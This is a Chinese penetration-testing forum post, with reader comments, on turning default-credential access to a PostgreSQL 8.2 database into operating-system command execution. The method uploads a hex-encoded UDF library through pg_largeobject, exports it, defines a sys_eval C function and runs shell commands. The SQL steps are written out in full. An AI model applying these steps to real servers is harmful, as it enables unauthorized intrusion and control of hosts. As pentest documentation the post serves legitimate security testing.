Postgresql数据库命令执行
0x01 postgres简介
Postgres(以下或简称 pg)在国内并不常见,而在国外的流行程度却不下 mysql。最近在内网做渗透测试的时候兄弟们发现了很多网站是postgresql的数据库,默认口令为postgres postgres。从web段都没有拿到权限,所以研究了一下pg的命令执行。
0x02 pg命令执行
Pg的命令执行有点类似于mysql的udf提权都是要上传dll文件,其实整个过程都与udf提取相似。
1.查询oid,oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。
2.oid与上面保持一致,等于变相清空”页面”,不要干扰库的生成
delete from pg_largeobject where loid=1596054;
3.把16进制的so文件塞进去(根据版本可以在sqlmap下找到so文件大概位置在sqlmap-master\sqlmap-master\udf\postgresql\windows\32)
insert into pg_largeobject (loid,pageno,data) values(1596054, 0, decode(‘7F454CXXXXXXXXX000’, ‘hex’));
现将dll文件转化为16进制的编码然后在写入进去,转化为16进制的文件太大,不能一次插入进去所以得分几次。写了一个脚本把它分文4次插入,把生成好的四句insert在命令行中执行。
4. 导出dll
SELECT lo_export(1596054, 'monkey.dll');
5. 创建函数
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'monkey.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
6. 命令执行
select sys_eval('net user');
由于版本是8.2的网上流传的dll都没有反弹shell的函数,9以上的版本都存在反弹shell的函数,以后遇到可以试一试方法基本都差不多,所以只能做到这里。这个命令执行的权限也只是pg的权限,限制还是有点大。
自评TCV:1
之前也是在项目上碰到过,在tools也查到了一些资料 ,整合了一下才有此文,不足之处还请见谅。
评论13次
感谢楼主提供资料,虽然9.6复现没成功;
有点类似udf提权,但网站碰到Postgresql的库,还是很少的!
postgres没怎么接触过,正好学xi了
最近遇到个使用这种数据库的,但是连接不上,不是爆口令不对,而是爆 FATAL:no pg_hba.conf host"xx.xx.xx.xx",user "postgres",database "template1",SSL on FATAL:no pg_hba.conf host"xx.xx.xx.xx",user "postgres",database "template1",SSL off 这个错误,是什么情况呢?
以前有遇到过,并且查询过一些,这类的文章是少之又少。
ps .xi统版本要对应好
@qeace 图片挂了 麻烦补图
已经补充
与MYSQL udf提权有点类似,姿势GET了,结合sqlmap 可省去不少事
这个在内网渗透弱口令的时候命令比较实用
图都挂了,补一下吧
@qeace 图片挂了 麻烦补图
postgres 刚碰到,这两天正在看,通过native ssh连接,用默认用户都无法连接。本地的shell就可以。另外pssql 执行语句会报错,应该是/usr/bin/pager 不存在,不知道什么原因,求解?
跟mysql一样没有开启远程连接,执行什么样的语句报错呢?
postgres 刚碰到,这两天正在看,通过native ssh连接,用默认用户都无法连接。本地的shell就可以。另外pssql 执行语句会报错,应该是/usr/bin/pager 不存在,不知道什么原因,求解?